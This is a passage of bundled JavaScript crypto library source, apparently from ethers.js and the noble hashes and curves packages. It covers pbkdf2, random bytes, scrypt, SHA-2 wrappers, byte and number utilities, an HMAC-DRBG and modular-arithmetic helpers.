hexlify(__pbkdf2(password, salt, iterations, keylen, algo));\n}\npbkdf2._ = _pbkdf2;\npbkdf2.lock = function () { locked = true; };\npbkdf2.register = function (func) {\n if (locked) {\n throw new Error(\"pbkdf2 is locked\");\n }\n __pbkdf2 = func;\n};\nObject.freeze(pbkdf2);\n//# sourceMappingURL=pbkdf2.js.map","/**\n * A **Cryptographically Secure Random Value** is one that has been\n * generated with additional care take to prevent side-channels\n * from allowing others to detect it and prevent others from through\n * coincidence generate the same values.\n *\n * @_subsection: api/crypto:Random Values [about-crypto-random]\n */\nimport { randomBytes as crypto_random } from \"./crypto.js\";\nlet locked = false;\nconst _randomBytes = function (length) {\n return new Uint8Array(crypto_random(length));\n};\nlet __randomBytes = _randomBytes;\n/**\n * Return %%length%% bytes of cryptographically secure random data.\n *\n * @example:\n * randomBytes(8)\n * //_result:\n */\nexport function randomBytes(length) {\n return __randomBytes(length);\n}\nrandomBytes._ = _randomBytes;\nrandomBytes.lock = function () { locked = true; };\nrandomBytes.register = function (func) {\n if (locked) {\n throw new Error(\"randomBytes is locked\");\n }\n __randomBytes = func;\n};\nObject.freeze(randomBytes);\n//# sourceMappingURL=random.js.map","import { number as assertNumber } from './_assert.js';\nimport { sha256 } from './sha256.js';\nimport { pbkdf2 } from './pbkdf2.js';\nimport { asyncLoop, checkOpts, u32 } from './utils.js';\n// RFC 7914 Scrypt KDF\n// Left rotate for uint32\nconst rotl = (a, b) => (a << b) | (a >>> (32 - b));\n// The main Scrypt loop: uses Salsa extensively.\n// Six versions of the function were tried, this is the fastest one.\n// prettier-ignore\nfunction XorAndSalsa(prev, pi, input, ii, out, oi) {\n // Based on https://cr.yp.to/salsa20.html\n // Xor blocks\n let y00 = prev[pi++] ^ input[ii++], y01 = prev[pi++] ^ input[ii++];\n let y02 = prev[pi++] ^ input[ii++], y03 = prev[pi++] ^ input[ii++];\n let y04 = prev[pi++] ^ input[ii++], y05 = prev[pi++] ^ input[ii++];\n let y06 = prev[pi++] ^ input[ii++], y07 = prev[pi++] ^ input[ii++];\n let y08 = prev[pi++] ^ input[ii++], y09 = prev[pi++] ^ input[ii++];\n let y10 = prev[pi++] ^ input[ii++], y11 = prev[pi++] ^ input[ii++];\n let y12 = prev[pi++] ^ input[ii++], y13 = prev[pi++] ^ input[ii++];\n let y14 = prev[pi++] ^ input[ii++], y15 = prev[pi++] ^ input[ii++];\n // Save state to temporary variables (salsa)\n let x00 = y00, x01 = y01, x02 = y02, x03 = y03, x04 = y04, x05 = y05, x06 = y06, x07 = y07, x08 = y08, x09 = y09, x10 = y10, x11 = y11, x12 = y12, x13 = y13, x14 = y14, x15 = y15;\n // Main loop (salsa)\n for (let i = 0; i < 8; i += 2) {\n x04 ^= rotl(x00 + x12 | 0, 7);\n x08 ^= rotl(x04 + x00 | 0, 9);\n x12 ^= rotl(x08 + x04 | 0, 13);\n x00 ^= rotl(x12 + x08 | 0, 18);\n x09 ^= rotl(x05 + x01 | 0, 7);\n x13 ^= rotl(x09 + x05 | 0, 9);\n x01 ^= rotl(x13 + x09 | 0, 13);\n x05 ^= rotl(x01 + x13 | 0, 18);\n x14 ^= rotl(x10 + x06 | 0, 7);\n x02 ^= rotl(x14 + x10 | 0, 9);\n x06 ^= rotl(x02 + x14 | 0, 13);\n x10 ^= rotl(x06 + x02 | 0, 18);\n x03 ^= rotl(x15 + x11 | 0, 7);\n x07 ^= rotl(x03 + x15 | 0, 9);\n x11 ^= rotl(x07 + x03 | 0, 13);\n x15 ^= rotl(x11 + x07 | 0, 18);\n x01 ^= rotl(x00 + x03 | 0, 7);\n x02 ^= rotl(x01 + x00 | 0, 9);\n x03 ^= rotl(x02 + x01 | 0, 13);\n x00 ^= rotl(x03 + x02 | 0, 18);\n x06 ^= rotl(x05 + x04 | 0, 7);\n x07 ^= rotl(x06 + x05 | 0, 9);\n x04 ^= rotl(x07 + x06 | 0, 13);\n x05 ^= rotl(x04 + x07 | 0, 18);\n x11 ^= rotl(x10 + x09 | 0, 7);\n x08 ^= rotl(x11 + x10 | 0, 9);\n x09 ^= rotl(x08 + x11 | 0, 13);\n x10 ^= rotl(x09 + x08 | 0, 18);\n x12 ^= rotl(x15 + x14 | 0, 7);\n x13 ^= rotl(x12 + x15 | 0, 9);\n x14 ^= rotl(x13 + x12 | 0, 13);\n x15 ^= rotl(x14 + x13 | 0, 18);\n }\n // Write output (salsa)\n out[oi++] = (y00 + x00) | 0;\n out[oi++] = (y01 + x01) | 0;\n out[oi++] = (y02 + x02) | 0;\n out[oi++] = (y03 + x03) | 0;\n out[oi++] = (y04 + x04) | 0;\n out[oi++] = (y05 + x05) | 0;\n out[oi++] = (y06 + x06) | 0;\n out[oi++] = (y07 + x07) | 0;\n out[oi++] = (y08 + x08) | 0;\n out[oi++] = (y09 + x09) | 0;\n out[oi++] = (y10 + x10) | 0;\n out[oi++] = (y11 + x11) | 0;\n out[oi++] = (y12 + x12) | 0;\n out[oi++] = (y13 + x13) | 0;\n out[oi++] = (y14 + x14) | 0;\n out[oi++] = (y15 + x15) | 0;\n}\nfunction BlockMix(input, ii, out, oi, r) {\n // The block B is r 128-byte chunks (which is equivalent of 2r 64-byte chunks)\n let head = oi + 0;\n let tail = oi + 16 * r;\n for (let i = 0; i < 16; i++)\n out[tail + i] = input[ii + (2 * r - 1) * 16 + i]; // X ← B[2r−1]\n for (let i = 0; i < r; i++, head += 16, ii += 16) {\n // We write odd & even Yi at same time. Even: 0bXXXXX0 Odd: 0bXXXXX1\n XorAndSalsa(out, tail, input, ii, out, head); // head[i] = Salsa(blockIn[2*i] ^ tail[i-1])\n if (i > 0)\n tail += 16; // First iteration overwrites tmp value in tail\n XorAndSalsa(out, head, input, (ii += 16), out, tail); // tail[i] = Salsa(blockIn[2*i+1] ^ head[i])\n }\n}\n// Common prologue and epilogue for sync/async functions\nfunction scryptInit(password, salt, _opts) {\n // Maxmem - 1GB+1KB by default\n const opts = checkOpts({\n dkLen: 32,\n asyncTick: 10,\n maxmem: 1024 ** 3 + 1024,\n }, _opts);\n const { N, r, p, dkLen, asyncTick, maxmem, onProgress } = opts;\n assertNumber(N);\n assertNumber(r);\n assertNumber(p);\n assertNumber(dkLen);\n assertNumber(asyncTick);\n assertNumber(maxmem);\n if (onProgress !== undefined && typeof onProgress !== 'function')\n throw new Error('progressCb should be function');\n const blockSize = 128 * r;\n const blockSize32 = blockSize / 4;\n if (N <= 1 || (N & (N - 1)) !== 0 || N >= 2 ** (blockSize / 8) || N > 2 ** 32) {\n // NOTE: we limit N to be less than 2**32 because of 32 bit variant of Integrify function\n // There is no JS engines that allows alocate more than 4GB per single Uint8Array for now, but can change in future.\n throw new Error('Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32');\n }\n if (p < 0 || p > ((2 ** 32 - 1) * 32) / blockSize) {\n throw new Error('Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)');\n }\n if (dkLen < 0 || dkLen > (2 ** 32 - 1) * 32) {\n throw new Error('Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32');\n }\n const memUsed = blockSize * (N + p);\n if (memUsed > maxmem) {\n throw new Error(`Scrypt: parameters too large, ${memUsed} (128 * r * (N + p)) > ${maxmem} (maxmem)`);\n }\n // [B0...Bp−1] ← PBKDF2HMAC-SHA256(Passphrase, Salt, 1, blockSize*ParallelizationFactor)\n // Since it has only one iteration there is no reason to use async variant\n const B = pbkdf2(sha256, password, salt, { c: 1, dkLen: blockSize * p });\n const B32 = u32(B);\n // Re-used between parallel iterations. Array(iterations) of B\n const V = u32(new Uint8Array(blockSize * N));\n const tmp = u32(new Uint8Array(blockSize));\n let blockMixCb = () => { };\n if (onProgress) {\n const totalBlockMix = 2 * N * p;\n // Invoke callback if progress changes from 10.01 to 10.02\n // Allows to draw smooth progress bar on up to 8K screen\n const callbackPer = Math.max(Math.floor(totalBlockMix / 10000), 1);\n let blockMixCnt = 0;\n blockMixCb = () => {\n blockMixCnt++;\n if (onProgress && (!(blockMixCnt % callbackPer) || blockMixCnt === totalBlockMix))\n onProgress(blockMixCnt / totalBlockMix);\n };\n }\n return { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick };\n}\nfunction scryptOutput(password, dkLen, B, V, tmp) {\n const res = pbkdf2(sha256, password, B, { c: 1, dkLen });\n B.fill(0);\n V.fill(0);\n tmp.fill(0);\n return res;\n}\n/**\n * Scrypt KDF from RFC 7914.\n * @param password - pass\n * @param salt - salt\n * @param opts - parameters\n * - `N` is cpu/mem work factor (power of 2 e.g. 2**18)\n * - `r` is block size (8 is common), fine-tunes sequential memory read size and performance\n * - `p` is parallelization factor (1 is common)\n * - `dkLen` is output key length in bytes e.g. 32.\n * - `asyncTick` - (default: 10) max time in ms for which async function can block execution\n * - `maxmem` - (default: `1024 ** 3 + 1024` aka 1GB+1KB). A limit that the app could use for scrypt\n * - `onProgress` - callback function that would be executed for progress report\n * @returns Derived key\n */\nexport function scrypt(password, salt, opts) {\n const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb } = scryptInit(password, salt, opts);\n for (let pi = 0; pi < p; pi++) {\n const Pi = blockSize32 * pi;\n for (let i = 0; i < blockSize32; i++)\n V[i] = B32[Pi + i]; // V[0] = B[i]\n for (let i = 0, pos = 0; i < N - 1; i++) {\n BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]);\n blockMixCb();\n }\n BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element\n blockMixCb();\n for (let i = 0; i < N; i++) {\n // First u32 of the last 64-byte block (u32 is LE)\n const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations\n for (let k = 0; k < blockSize32; k++)\n tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j]\n BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j])\n blockMixCb();\n }\n }\n return scryptOutput(password, dkLen, B, V, tmp);\n}\n/**\n * Scrypt KDF from RFC 7914.\n */\nexport async function scryptAsync(password, salt, opts) {\n const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick } = scryptInit(password, salt, opts);\n for (let pi = 0; pi < p; pi++) {\n const Pi = blockSize32 * pi;\n for (let i = 0; i < blockSize32; i++)\n V[i] = B32[Pi + i]; // V[0] = B[i]\n let pos = 0;\n await asyncLoop(N - 1, asyncTick, () => {\n BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]);\n blockMixCb();\n });\n BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element\n blockMixCb();\n await asyncLoop(N, asyncTick, () => {\n // First u32 of the last 64-byte block (u32 is LE)\n const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations\n for (let k = 0; k < blockSize32; k++)\n tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j]\n BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j])\n blockMixCb();\n });\n }\n return scryptOutput(password, dkLen, B, V, tmp);\n}\n//# sourceMappingURL=scrypt.js.map","import { scrypt as _nobleSync, scryptAsync as _nobleAsync } from \"@noble/hashes/scrypt\";\nimport { getBytes, hexlify as H } from \"../utils/index.js\";\nlet lockedSync = false, lockedAsync = false;\nconst _scryptAsync = async function (passwd, salt, N, r, p, dkLen, onProgress) {\n return await _nobleAsync(passwd, salt, { N, r, p, dkLen, onProgress });\n};\nconst _scryptSync = function (passwd, salt, N, r, p, dkLen) {\n return _nobleSync(passwd, salt, { N, r, p, dkLen });\n};\nlet __scryptAsync = _scryptAsync;\nlet __scryptSync = _scryptSync;\n/**\n * The [[link-wiki-scrypt]] uses a memory and cpu hard method of\n * derivation to increase the resource cost to brute-force a password\n * for a given key.\n *\n * This means this algorithm is intentionally slow, and can be tuned to\n * become slower. As computation and memory speed improve over time,\n * increasing the difficulty maintains the cost of an attacker.\n *\n * For example, if a target time of 5 seconds is used, a legitimate user\n * which knows their password requires only 5 seconds to unlock their\n * account. A 6 character password has 68 billion possibilities, which\n * would require an attacker to invest over 10,000 years of CPU time. This\n * is of course a crude example (as password generally aren't random),\n * but demonstrates to value of imposing large costs to decryption.\n *\n * For this reason, if building a UI which involved decrypting or\n * encrypting datsa using scrypt, it is recommended to use a\n * [[ProgressCallback]] (as event short periods can seem lik an eternity\n * if the UI freezes). Including the phrase //\"decrypting\"// in the UI\n * can also help, assuring the user their waiting is for a good reason.\n *\n * @_docloc: api/crypto:Passwords\n *\n * @example:\n * // The password must be converted to bytes, and it is generally\n * // best practices to ensure the string has been normalized. Many\n * // formats explicitly indicate the normalization form to use.\n * password = \"hello\"\n * passwordBytes = toUtf8Bytes(password, \"NFKC\")\n *\n * salt = id(\"some-salt\")\n *\n * // Compute the scrypt\n * scrypt(passwordBytes, salt, 1024, 8, 1, 16)\n * //_result:\n */\nexport async function scrypt(_passwd, _salt, N, r, p, dkLen, progress) {\n const passwd = getBytes(_passwd, \"passwd\");\n const salt = getBytes(_salt, \"salt\");\n return H(await __scryptAsync(passwd, salt, N, r, p, dkLen, progress));\n}\nscrypt._ = _scryptAsync;\nscrypt.lock = function () { lockedAsync = true; };\nscrypt.register = function (func) {\n if (lockedAsync) {\n throw new Error(\"scrypt is locked\");\n }\n __scryptAsync = func;\n};\nObject.freeze(scrypt);\n/**\n * Provides a synchronous variant of [[scrypt]].\n *\n * This will completely lock up and freeze the UI in a browser and will\n * prevent any event loop from progressing. For this reason, it is\n * preferred to use the [async variant](scrypt).\n *\n * @_docloc: api/crypto:Passwords\n *\n * @example:\n * // The password must be converted to bytes, and it is generally\n * // best practices to ensure the string has been normalized. Many\n * // formats explicitly indicate the normalization form to use.\n * password = \"hello\"\n * passwordBytes = toUtf8Bytes(password, \"NFKC\")\n *\n * salt = id(\"some-salt\")\n *\n * // Compute the scrypt\n * scryptSync(passwordBytes, salt, 1024, 8, 1, 16)\n * //_result:\n */\nexport function scryptSync(_passwd, _salt, N, r, p, dkLen) {\n const passwd = getBytes(_passwd, \"passwd\");\n const salt = getBytes(_salt, \"salt\");\n return H(__scryptSync(passwd, salt, N, r, p, dkLen));\n}\nscryptSync._ = _scryptSync;\nscryptSync.lock = function () { lockedSync = true; };\nscryptSync.register = function (func) {\n if (lockedSync) {\n throw new Error(\"scryptSync is locked\");\n }\n __scryptSync = func;\n};\nObject.freeze(scryptSync);\n//# sourceMappingURL=scrypt.js.map","import { createHash } from \"./crypto.js\";\nimport { getBytes, hexlify } from \"../utils/index.js\";\nconst _sha256 = function (data) {\n return createHash(\"sha256\").update(data).digest();\n};\nconst _sha512 = function (data) {\n return createHash(\"sha512\").update(data).digest();\n};\nlet __sha256 = _sha256;\nlet __sha512 = _sha512;\nlet locked256 = false, locked512 = false;\n/**\n * Compute the cryptographic SHA2-256 hash of %%data%%.\n *\n * @_docloc: api/crypto:Hash Functions\n * @returns DataHexstring\n *\n * @example:\n * sha256(\"0x\")\n * //_result:\n *\n * sha256(\"0x1337\")\n * //_result:\n *\n * sha256(new Uint8Array([ 0x13, 0x37 ]))\n * //_result:\n *\n */\nexport function sha256(_data) {\n const data = getBytes(_data, \"data\");\n return hexlify(__sha256(data));\n}\nsha256._ = _sha256;\nsha256.lock = function () { locked256 = true; };\nsha256.register = function (func) {\n if (locked256) {\n throw new Error(\"sha256 is locked\");\n }\n __sha256 = func;\n};\nObject.freeze(sha256);\n/**\n * Compute the cryptographic SHA2-512 hash of %%data%%.\n *\n * @_docloc: api/crypto:Hash Functions\n * @returns DataHexstring\n *\n * @example:\n * sha512(\"0x\")\n * //_result:\n *\n * sha512(\"0x1337\")\n * //_result:\n *\n * sha512(new Uint8Array([ 0x13, 0x37 ]))\n * //_result:\n */\nexport function sha512(_data) {\n const data = getBytes(_data, \"data\");\n return hexlify(__sha512(data));\n}\nsha512._ = _sha512;\nsha512.lock = function () { locked512 = true; };\nsha512.register = function (func) {\n if (locked512) {\n throw new Error(\"sha512 is locked\");\n }\n __sha512 = func;\n};\nObject.freeze(sha256);\n//# sourceMappingURL=sha2.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// 100 lines of code in the file are duplicated from noble-hashes (utils).\n// This is OK: `abstract` directory does not use noble-hashes.\n// User may opt-in into using different hashing library. This way, noble-hashes\n// won't be included into their bundle.\nconst _0n = BigInt(0);\nconst _1n = BigInt(1);\nconst _2n = BigInt(2);\nconst u8a = (a) => a instanceof Uint8Array;\nconst hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0'));\n/**\n * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123'\n */\nexport function bytesToHex(bytes) {\n if (!u8a(bytes))\n throw new Error('Uint8Array expected');\n // pre-caching improves the speed 6x\n let hex = '';\n for (let i = 0; i < bytes.length; i++) {\n hex += hexes[bytes[i]];\n }\n return hex;\n}\nexport function numberToHexUnpadded(num) {\n const hex = num.toString(16);\n return hex.length & 1 ? `0${hex}` : hex;\n}\nexport function hexToNumber(hex) {\n if (typeof hex !== 'string')\n throw new Error('hex string expected, got ' + typeof hex);\n // Big Endian\n return BigInt(hex === '' ? '0' : `0x${hex}`);\n}\n/**\n * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23])\n */\nexport function hexToBytes(hex) {\n if (typeof hex !== 'string')\n throw new Error('hex string expected, got ' + typeof hex);\n const len = hex.length;\n if (len % 2)\n throw new Error('padded hex string expected, got unpadded hex of length ' + len);\n const array = new Uint8Array(len / 2);\n for (let i = 0; i < array.length; i++) {\n const j = i * 2;\n const hexByte = hex.slice(j, j + 2);\n const byte = Number.parseInt(hexByte, 16);\n if (Number.isNaN(byte) || byte < 0)\n throw new Error('Invalid byte sequence');\n array[i] = byte;\n }\n return array;\n}\n// BE: Big Endian, LE: Little Endian\nexport function bytesToNumberBE(bytes) {\n return hexToNumber(bytesToHex(bytes));\n}\nexport function bytesToNumberLE(bytes) {\n if (!u8a(bytes))\n throw new Error('Uint8Array expected');\n return hexToNumber(bytesToHex(Uint8Array.from(bytes).reverse()));\n}\nexport function numberToBytesBE(n, len) {\n return hexToBytes(n.toString(16).padStart(len * 2, '0'));\n}\nexport function numberToBytesLE(n, len) {\n return numberToBytesBE(n, len).reverse();\n}\n// Unpadded, rarely used\nexport function numberToVarBytesBE(n) {\n return hexToBytes(numberToHexUnpadded(n));\n}\n/**\n * Takes hex string or Uint8Array, converts to Uint8Array.\n * Validates output length.\n * Will throw error for other types.\n * @param title descriptive title for an error e.g. 'private key'\n * @param hex hex string or Uint8Array\n * @param expectedLength optional, will compare to result array's length\n * @returns\n */\nexport function ensureBytes(title, hex, expectedLength) {\n let res;\n if (typeof hex === 'string') {\n try {\n res = hexToBytes(hex);\n }\n catch (e) {\n throw new Error(`${title} must be valid hex string, got \"${hex}\". Cause: ${e}`);\n }\n }\n else if (u8a(hex)) {\n // Uint8Array.from() instead of hash.slice() because node.js Buffer\n // is instance of Uint8Array, and its slice() creates **mutable** copy\n res = Uint8Array.from(hex);\n }\n else {\n throw new Error(`${title} must be hex string or Uint8Array`);\n }\n const len = res.length;\n if (typeof expectedLength === 'number' && len !== expectedLength)\n throw new Error(`${title} expected ${expectedLength} bytes, got ${len}`);\n return res;\n}\n/**\n * Copies several Uint8Arrays into one.\n */\nexport function concatBytes(...arrays) {\n const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0));\n let pad = 0; // walk through each item, ensure they have proper type\n arrays.forEach((a) => {\n if (!u8a(a))\n throw new Error('Uint8Array expected');\n r.set(a, pad);\n pad += a.length;\n });\n return r;\n}\nexport function equalBytes(b1, b2) {\n // We don't care about timing attacks here\n if (b1.length !== b2.length)\n return false;\n for (let i = 0; i < b1.length; i++)\n if (b1[i] !== b2[i])\n return false;\n return true;\n}\n/**\n * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99])\n */\nexport function utf8ToBytes(str) {\n if (typeof str !== 'string')\n throw new Error(`utf8ToBytes expected string, got ${typeof str}`);\n return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809\n}\n// Bit operations\n/**\n * Calculates amount of bits in a bigint.\n * Same as `n.toString(2).length`\n */\nexport function bitLen(n) {\n let len;\n for (len = 0; n > _0n; n >>= _1n, len += 1)\n ;\n return len;\n}\n/**\n * Gets single bit at position.\n * NOTE: first bit position is 0 (same as arrays)\n * Same as `!!+Array.from(n.toString(2)).reverse()[pos]`\n */\nexport function bitGet(n, pos) {\n return (n >> BigInt(pos)) & _1n;\n}\n/**\n * Sets single bit at position.\n */\nexport const bitSet = (n, pos, value) => {\n return n | ((value ? _1n : _0n) << BigInt(pos));\n};\n/**\n * Calculate mask for N bits. Not using ** operator with bigints because of old engines.\n * Same as BigInt(`0b${Array(i).fill('1').join('')}`)\n */\nexport const bitMask = (n) => (_2n << BigInt(n - 1)) - _1n;\n// DRBG\nconst u8n = (data) => new Uint8Array(data); // creates Uint8Array\nconst u8fr = (arr) => Uint8Array.from(arr); // another shortcut\n/**\n * Minimal HMAC-DRBG from NIST 800-90 for RFC6979 sigs.\n * @returns function that will call DRBG until 2nd arg returns something meaningful\n * @example\n * const drbg = createHmacDRBG(32, 32, hmac);\n * drbg(seed, bytesToKey); // bytesToKey must return Key or undefined\n */\nexport function createHmacDrbg(hashLen, qByteLen, hmacFn) {\n if (typeof hashLen !== 'number' || hashLen < 2)\n throw new Error('hashLen must be a number');\n if (typeof qByteLen !== 'number' || qByteLen < 2)\n throw new Error('qByteLen must be a number');\n if (typeof hmacFn !== 'function')\n throw new Error('hmacFn must be a function');\n // Step B, Step C: set hashLen to 8*ceil(hlen/8)\n let v = u8n(hashLen); // Minimal non-full-spec HMAC-DRBG from NIST 800-90 for RFC6979 sigs.\n let k = u8n(hashLen); // Steps B and C of RFC6979 3.2: set hashLen, in our case always same\n let i = 0; // Iterations counter, will throw when over 1000\n const reset = () => {\n v.fill(1);\n k.fill(0);\n i = 0;\n };\n const h = (...b) => hmacFn(k, v, ...b); // hmac(k)(v, ...values)\n const reseed = (seed = u8n()) => {\n // HMAC-DRBG reseed() function. Steps D-G\n k = h(u8fr([0x00]), seed); // k = hmac(k || v || 0x00 || seed)\n v = h(); // v = hmac(k || v)\n if (seed.length === 0)\n return;\n k = h(u8fr([0x01]), seed); // k = hmac(k || v || 0x01 || seed)\n v = h(); // v = hmac(k || v)\n };\n const gen = () => {\n // HMAC-DRBG generate() function\n if (i++ >= 1000)\n throw new Error('drbg: tried 1000 values');\n let len = 0;\n const out = [];\n while (len < qByteLen) {\n v = h();\n const sl = v.slice();\n out.push(sl);\n len += v.length;\n }\n return concatBytes(...out);\n };\n const genUntil = (seed, pred) => {\n reset();\n reseed(seed); // Steps D-G\n let res = undefined; // Step H: grind until k is in [1..n-1]\n while (!(res = pred(gen())))\n reseed();\n reset();\n return res;\n };\n return genUntil;\n}\n// Validating curves and fields\nconst validatorFns = {\n bigint: (val) => typeof val === 'bigint',\n function: (val) => typeof val === 'function',\n boolean: (val) => typeof val === 'boolean',\n string: (val) => typeof val === 'string',\n stringOrUint8Array: (val) => typeof val === 'string' || val instanceof Uint8Array,\n isSafeInteger: (val) => Number.isSafeInteger(val),\n array: (val) => Array.isArray(val),\n field: (val, object) => object.Fp.isValid(val),\n hash: (val) => typeof val === 'function' && Number.isSafeInteger(val.outputLen),\n};\n// type Record = { [P in K]: T; }\nexport function validateObject(object, validators, optValidators = {}) {\n const checkField = (fieldName, type, isOptional) => {\n const checkVal = validatorFns[type];\n if (typeof checkVal !== 'function')\n throw new Error(`Invalid validator \"${type}\", expected function`);\n const val = object[fieldName];\n if (isOptional && val === undefined)\n return;\n if (!checkVal(val, object)) {\n throw new Error(`Invalid param ${String(fieldName)}=${val} (${typeof val}), expected ${type}`);\n }\n };\n for (const [fieldName, type] of Object.entries(validators))\n checkField(fieldName, type, false);\n for (const [fieldName, type] of Object.entries(optValidators))\n checkField(fieldName, type, true);\n return object;\n}\n// validate type tests\n// const o: { a: number; b: number; c: number } = { a: 1, b: 5, c: 6 };\n// const z0 = validateObject(o, { a: 'isSafeInteger' }, { c: 'bigint' }); // Ok!\n// // Should fail type-check\n// const z1 = validateObject(o, { a: 'tmp' }, { c: 'zz' });\n// const z2 = validateObject(o, { a: 'isSafeInteger' }, { c: 'zz' });\n// const z3 = validateObject(o, { test: 'boolean', z: 'bug' });\n// const z4 = validateObject(o, { a: 'boolean', z: 'bug' });\n//# sourceMappingURL=utils.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// Utilities for modular arithmetics and finite fields\nimport { bitMask, numberToBytesBE, numberToBytesLE, bytesToNumberBE, bytesToNumberLE, ensureBytes, validateObject, } from './utils.js';\n// prettier-ignore\nconst _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3);\n// prettier-ignore\nconst _4n = BigInt(4), _5n = BigInt(5), _8n = BigInt(8);\n// prettier-ignore\nconst _9n = BigInt(9), _16n = BigInt(16);\n// Calculates a modulo b\nexport function mod(a, b) {\n const result = a % b;\n return result >= _0n ? result : b + result;\n}\n/**\n * Efficiently raise num to power and do modular division.\n * Unsafe in some contexts: uses ladder, so can expose bigint bits.\n * @example\n * pow(2n, 6n, 11n) // 64n % 11n == 9n\n */\n// TODO: use field version && remove\nexport function pow(num, power, modulo) {\n if (modulo <= _0n || power < _0n)\n throw new Error('Expected power/modulo > 0');\n if (modulo === _1n)\n return _0n;\n let res = _1n;\n while (power > _0n) {\n if (power & _1n)\n res = (res * num) % modulo;\n num = (num * num) % modulo;\n power >>= _1n;\n }\n return res;\n}\n// Does x ^ (2 ^ power) mod p. pow2(30, 4) == 30 ^ (2 ^ 4)\nexport function pow2(x, power, modulo) {\n let res = x;\n while (power-- > _0n) {\n res *= res;\n res %= modulo;\n }\n return res;\n}\n// Inverses number over modulo\nexport function invert(number, modulo) {\n if (number === _0n || modulo <= _0n) {\n throw new Error(`invert: expected positive integers, got n=${number} mod=${modulo}`);\n }\n // Euclidean GCD https://brilliant.org/wiki/extended-euclidean-algorithm/\n // Fermat's little theorem \"CT-like\" version inv(n) = n^(m-2) mod m is 30x slower.\n let a = mod(number, modulo);\n let b = modulo;\n // prettier-ignore\n let x = _0n, y = _1n, u = _1n, v = _0n;\n while (a !== _0n) {\n // JIT applies optimization if those two lines follow each other\n const q = b / a;\n const r = b % a;\n const m = x - u * q;\n const n = y - v * q;\n // prettier-ignore\n b = a, a = r, x = u, y = v, u = m, v = n;\n }\n const gcd = b;\n if (gcd !== _1n)\n throw new Error('invert: does not exist');\n return mod(x, modulo);\n}\n/**\n * Tonelli-Shanks square root search algorithm.\n * 1. https://eprint.iacr.org/2012/685.pdf (page 12)\n * 2. Square Roots from 1; 24, 51, 10 to Dan Shanks\n * Will start an infinite loop if field order P is not prime.\n * @param P field order\n * @returns function that takes field Fp (created from P) and number n\n */\nexport function tonelliShanks(P) {\n // Legendre constant: used to calculate Legendre symbol (a | p),\n // which denotes the value of a^((p-1)/2) (mod p).\n // (a | p) ≡ 1 if a is a square (mod p)\n // (a | p) ≡ -1 if a is not a square (mod p)\n // (a | p) ≡ 0 if a ≡ 0 (mod p)\n const legendreC = (P - _1n) / _2n;\n let Q, S, Z;\n // Step 1: By factoring out powers of 2 from p - 1,\n // find q and s such that p - 1 = q*(2^s) with q odd\n for (Q = P - _1n, S = 0; Q % _2n === _0n; Q /= _2n, S++)\n ;\n // Step 2: Select a non-square z such that (z | p) ≡ -1 and set c ≡ zq\n for (Z = _2n; Z < P && pow(Z, legendreC, P) !== P - _1n; Z++)\n ;\n // Fast-path\n if (S === 1) {\n const p1div4 = (P + _1n) / _4n;\n return function tonelliFast(Fp, n) {\n const root = Fp.pow(n, p1div4);\n if (!Fp.eql(Fp.sqr(root), n))\n throw new Error('Cannot find square root');\n return root;\n };\n }\n // Slow-path\n const Q1div2 = (Q + _1n) / _2n;\n return function tonelliSlow(Fp, n) {\n // Step 0: Check that n is indeed a square: (n | p) should not be ≡ -1\n if (Fp.pow(n, legendreC) === Fp.neg(Fp.ONE))\n throw new Error('Cannot find square root');\n let r = S;\n // TODO: will fail at Fp2/etc\n let g = Fp.pow(Fp.mul(Fp.ONE, Z), Q); // will update both x and b\n let x = Fp.pow(n, Q1div2); // first guess at the square root\n let b = Fp.pow(n, Q); // first guess at the fudge factor\n while (!Fp.eql(b, Fp.ONE)) {\n if (Fp.eql(b, Fp.ZERO))\n return Fp.ZERO; // https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm (4. If t = 0, return r = 0)\n // Find m such b^(2^m)==1\n let m = 1;\n for (let t2 = Fp.sqr(b); m < r; m++) {\n if (Fp.eql(t2, Fp.ONE))\n break;\n t2 = Fp.sqr(t2); // t2 *= t2\n }\n // NOTE: r-m-1 can be bigger than 32, need to convert to bigint before shift, otherwise there will be overflow\n const ge = Fp.pow(g, _1n << BigInt(r - m - 1)); // ge = 2^(r-m-1)\n g = Fp.sqr(ge); // g = ge * ge\n x = Fp.mul(x, ge); // x *= ge\n b = Fp.mul(b, g); // b *= g\n r = m;\n }\n return x;\n };\n}\nexport function FpSqrt(P) {\n // NOTE: different algorithms can give different roots, it is up to user to decide which one they want.\n // For example there is FpSqrtOdd/FpSqrtEven to choice root based on oddness (used for hash-to-curve).\n // P ≡ 3 (mod 4)\n // √n = n^((P+1)/4)\n if (P % _4n === _3n) {\n // Not all roots possible!\n // const ORDER =\n // 